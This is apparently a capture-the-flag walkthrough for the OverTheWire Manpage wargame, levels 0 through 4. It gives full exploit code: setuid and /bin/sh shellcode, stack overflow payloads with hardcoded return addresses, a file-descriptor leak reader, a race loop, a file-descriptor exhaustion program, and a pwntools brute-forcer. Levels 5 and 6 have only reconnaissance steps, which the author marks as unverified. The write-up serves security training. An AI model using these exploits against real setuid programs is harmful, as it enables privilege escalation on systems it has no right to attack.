OverTheWire - Manpage

manpage

manpage.labs.overthewire.org 2224

level 0 → level 1

1
2
3
4
5
6
SSH Information
Host: manpage.labs.overthewire.org
Port: 2224
User: manpage0
Passwords: /etc/manpage_pass/
Binaries: /manpage/

Manpage: 7 levels. About breaking common Linux C-programming misconceptions. Read manpages for pitfalls and unusual behavior. 当前 draft 里的旧 passwords 已 live 验证失效,因此只保留分析路径,未重新拿到 password 的 level 不写 spoiler。

Level 0: Basic reverse engineering — setuid( getuid() ) strips privs after strcpy overflow. Need to restore euid via setuid shellcode before spawning /bin/sh. Level 1: signal(SIGTERM, SIG_IGN) bypass — program raises SIGTERM on overflow. Use wrapper with signal handler to ignore it. Level 2: Open file descriptor leaking — program doesn't close PWFILE before execl restart. Exploit argv[0] + fd 3 to read the password file. Level 3: Race condition / ulimit trick on fopen — manpage3-reset writes random password to a file. Race it or exhaust file descriptors to make it write an empty string. Level 4: Buffer overflow via game logic (Hunt the Wumpus). Seed finding + environment shellcode. Find correct seed (e.g., 22) for guessing game, then overflow log_winner buffer (sprintf) to overwrite return address. Shellcode stored in env var SC. EIP overwrite with env var address. Level 5-6: Further exploitation (not yet documented).

General approach: read manpages carefully, look for edge cases in C functions (printf, sprintf, gets, system, fopen, execl, etc.), analyze setuid binaries.

Tools: gdb, python3/pwntools, objdump, man, nasm.

Level 0 → Level 1

Source code of /manpage/manpage0:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]){
char buf[256];
setuid( getuid() );
strcpy(buf, argv[1]);
return 0;
}

Classic buffer overflow. The catch: setuid(getuid()) drops privileges to the real user (manpage0) before we gain control. We need to restore the effective uid back to manpage1 before spawning a shell.

First get setuid shellcode. The uid of manpage1 is 17001 (0x4269):

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat setuid.asm
section .text
global _start
_start:
xor ebx, ebx
xor eax, eax
mov al, 0x17 ; syscall 23 = setuid
mov bx, 0x4269 ; 17001 = manpage1 uid
int 0x80

$ nasm -f elf setuid.asm
$ ld -m elf_i386 -s -o setuid setuid.o
$ objdump -M intel -d setuid

Shellcode: \x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80

The buffer is 256 bytes, need 260 bytes to control EIP (4 more for saved EBP). Payload: NOP sled + setuid shellcode + /bin/sh shellcode + padding + return address pointing to NOP sled in buf.

1
manpage0@manpage:~$ /manpage/manpage0 $(python -c 'print("\x90"*100+"\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"A"*120+"\xd8\xd4\xff\xff")')

Level 1 → Level 2

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
#include <signal.h>

int main(int argc, char *argv[])
{
char buf[256];
if(!argv[1]) return 0;
strcpy(buf, argv[1]);
if(strlen(buf) >= sizeof(buf) - 1) //no obos :)
raise(SIGTERM);
return 0;
}

If we overflow the buffer, raise(SIGTERM) kills us. Need to call signal(SIGTERM, SIG_IGN) before invoking the binary to ignore the signal.

Write a wrapper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<unistd.h>
#include<signal.h>
#include<string.h>

int main(int argc, char* argv[]){
char* arg[]={
"/manpage/manpage1",
argv[1],
NULL
};
char* envp[]={
NULL
};
signal(SIGTERM, SIG_IGN);
execve("/manpage/manpage1", arg, envp);
}

Compile and run with overflow payload (260 bytes padding, same layout as level 0 but no setuid needed since signal is ignored before the program runs):

1
manpage1@manpage:~$ ./pwn $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"A"*132+"\x48\xdc\xff\xff")')

Level 2 → Level 3

Source code of /manpage/manpage2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define PWFILE "/etc/manpage_pass/manpage3"

int main(int argc, char *argv[])
{
FILE *f;
char *p;
char pass[32];
char buf[2];

f = fopen(PWFILE, "r");
fgets(pass, sizeof pass, f);
pass[strlen(pass)-1] = '\0';

p = getpass("password: ");

if(!strcmp(p, pass))
{
system("sh");
exit(0);
}

setuid(getuid()); /* dont need privs anymore */

if(!argv[1])
{
argv[1] = buf;
buf[0] = '\0';
}

if( argv[1][0]++ >= 2) exit(0);

argv[1][1] = '\0';
execl(argv[0], argv[0], argv[1], 0); /* restart */
return 0;
}

Key insight: the file PWFILE is opened with fopen() but never closed before execl. The file descriptor (fd 3) remains open across exec. By making argv[0] point to our own program, execl runs our code instead, and we can read fd 3 to get the password.

Create pwn (the fd reader):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(){
char pass[32];

if(lseek(3, 0, SEEK_SET) == -1){
printf("lseek error\n");
return -1;
}
if(read(3, pass, sizeof(pass)) == -1){
printf("read error\n");
return -1;
}
pass[strlen(pass)-1] = '\0';
printf("Got the password %s\n", pass);
}

Create wrapper to set argv[0] to our program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<unistd.h>
#include<signal.h>
#include<string.h>

int main(){
char* argv[]={
"./pwn",
NULL
};
char* envp[]={
NULL
};
execve("/manpage/manpage2", argv, envp);
}

Compile both. When manpage2 calls execl(argv[0], ...), it runs ./pwn which reads the open file descriptor 3.

Level 3 → Level 4

Two binaries: manpage3 and manpage3-reset.

manpage3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <string.h>

#define PASS_PATH "/manpage/manpage3_password"

int main()
{
int rfd = open(PASS_PATH, O_RDONLY);
char buf[256];
char buf2[256];
memset(buf, '\0', sizeof buf);
memset(buf2, '\0', sizeof buf2);
read(rfd, buf2, sizeof buf);
fgets(buf, sizeof buf, stdin);

if(!strcmp(buf,buf2))
{
printf("Wow, you should play the lottery!\n");
setuid(geteuid());
system("/bin/sh");
}
return 0;
}

manpage3-reset:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* reset-password */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>

#define PASS_PATH "/manpage/manpage3_password"

int main()
{
FILE *wf;
FILE *rf;
wf = fopen(PASS_PATH,"w");
rf = fopen("/dev/urandom","r");
char buf[256];

fread (buf, 1, sizeof buf, rf);
fwrite(buf, 1, sizeof buf, wf);
return 0;
}

The password file is 256 random bytes. Two approaches:

Method 1: Race condition. Run manpage3-reset in a tight loop. When fopen(PASS_PATH, "w") truncates the file but before fwrite() writes the random data, there's a window where the file is empty. If manpage3 reads during that window, buf2 is empty, and sending an empty input (Ctrl-D) matches.

1
2
3
manpage3@manpage:~$ while [ 1 ]; do /manpage/manpage3-reset; done &
manpage3@manpage:~$ /manpage/manpage3
# press Ctrl-D immediately

Method 2: Exhaust file descriptors. Use ulimit -n to check the maximum open files (usually 1024). Open many files to exhaust the limit so fopen("/dev/urandom", "r") fails and fread reads nothing (writes empty data).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<unistd.h>
#include<signal.h>
#include<string.h>
#include<stdio.h>

int main(){
FILE *f;
for(int i = 0; i < 1020; ++i){
f = fopen("/manpage/manpage3", "r");
}
char* argv[]={
"/manpage/manpage3-reset",
NULL
};
char* envp[]={
NULL
};
execve("/manpage/manpage3-reset", argv, envp);
}

After manpage3-reset writes empty data, run manpage3 and send empty input.

Level 4 → Level 5

This is "Hunt the Wumpus" game with a modified log_winner function added (see manpage4.diff). Buffer overflow via sprintf in log_winner.

Key details from the diff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void log_winner()
{
char buf[256];
char firstname[256], lastname[256];
int t = time(NULL);
logfile = fopen(LOGFILE,"a");
printf("firstname and lastname?\n");
if( !fgets(buf, sizeof buf, stdin) )
exit(1);

sscanf(buf, "%100s %100s", firstname, lastname);
sprintf(buf, "%s firstname:%s lastname: %s\n", ctime(&t), firstname, lastname);

fputs(buf, logfile);
fclose(logfile);
}

sscanf limits to 100 chars each, but the input buffer inp from getnum (2048 bytes) overlaps with the stack frame of log_winner. The inp buffer at 0xffffce8c to 0xffffd688 can be used to set lastname content since lastname is at 0xffffd3a4 — within inp's range.

Strategy: 1. Find seed where shooting room 1 wins the game (seed = 22). 2. Use the room number input to write shellcode location into lastname (which lives in the old inp buffer area). 3. In log_winner, sprintf overflows buf via lastname (which now contains our long padding + return address). 4. Overwrite EIP to point to env var SC containing shellcode.

1
manpage4@manpage:~$ export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")')

Find seed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

for seed in range(0, 1000):
p = process(["/manpage/manpage4", "-s", str(seed)])
p.recv()
p.sendline('N')
p.recv()
p.sendline('S')
p.recv()
p.sendline('1')
p.recv()
p.sendline('1')
data = p.recv()
if "firstname and lastname?" in data:
print("Seed found: %d" % seed)
sys.exit()
p.close()

Exploit:

1
(python -c 'print("N\nS\n1\n"+"1"+"A"*1303+"A"*209+"\x04\xdf\xff\xff\n"+"CCCC\n")'; cat) | /manpage/manpage4 -s 22

Calculation: inp is at 0xffffce8c, lastname is at 0xffffd3a4. Difference = 1304 bytes. First "1" is 1 byte, so 1303 bytes padding from the room number input. In sprintf, ctime output (25) + space + "firstname:" (10) + "CCCC" (4) + " lastname: " (11) = 51 bytes, plus 209 bytes from lastname padding = 260 bytes, overwriting return address on the nose. Next 4 bytes = address of env var SC.

Level 5 → Level 6

这一关目前没有 live verified 解法。公开资料对 Manpage 5/6 极少,且有些页面只泄露密码而不解释漏洞;这种内容不适合写进 writeup。

可确认的下一步并非沿用旧 payload,而是先拿到当前 /manpage/manpage5 的行为证据:

1
2
3
4
5
6
file /manpage/manpage5
checksec --file=/manpage/manpage5
strings -a /manpage/manpage5 | head -80
strace -f -o /tmp/manpage5.strace /manpage/manpage5 ...
ltrace -f -o /tmp/manpage5.ltrace /manpage/manpage5 ...
gdb -q /manpage/manpage5

优先检查这些点:

  1. 是否仍是 32-bit setuid binary,以及有没有 NX / canary / RELRO。
  2. 是否继承环境变量、文件描述符或当前目录里的可控文件。
  3. 是否存在资源耗尽路径,例如 malloc / fopen / fork / exec 失败后的错误处理。
  4. 是否调用 man / pager / shell helper,可能引入 MANPATHPAGERLESSOPENPATH 等环境变量攻击面。
  5. 如果 binary 只能执行不能读取,就用 strace/ltrace/gdb 先做黑盒行为建模,再根据崩溃点反推输入结构。

当前结论:blocked by missing live verification。拿到 manpage5 权限后再补完整漏洞链和 exploit,不写未验证 spoiler。

Level 6 → Level 7

这一关同样没有 live verified 解法。Manpage 6 的公开信息比前几关更少,不能把旧站点上的密码或不完整提示当作解题过程。

按下面的最小复现流程复现:

1
2
3
4
5
6
7
id
ls -l /manpage/manpage6 /etc/manpage_pass/manpage7
file /manpage/manpage6
checksec --file=/manpage/manpage6
strings -a /manpage/manpage6 | sed -n '1,120p'
strace -f -s 200 -o /tmp/manpage6.strace /manpage/manpage6 ...
ltrace -f -s 200 -o /tmp/manpage6.ltrace /manpage/manpage6 ...

如果程序是 exec-only,仍然可以先从行为侧分析:

  1. 枚举参数数量、超长参数、空环境、长环境变量、特殊文件名、软链接和 FIFO。
  2. 观察 open/read/write/execve/setuid/setresuid 调用序列。
  3. ulimit 做资源限制实验,检查分配/打开文件失败路径。
  4. 若有崩溃,再用 core/gdb 定位可控寄存器、返回地址或函数指针。
  5. 最后只在 live shell 中验证读取 /etc/manpage_pass/manpage7,再补 spoiler。

当前结论:blocked by missing live verification。这里保留研究路线,不伪造完成状态。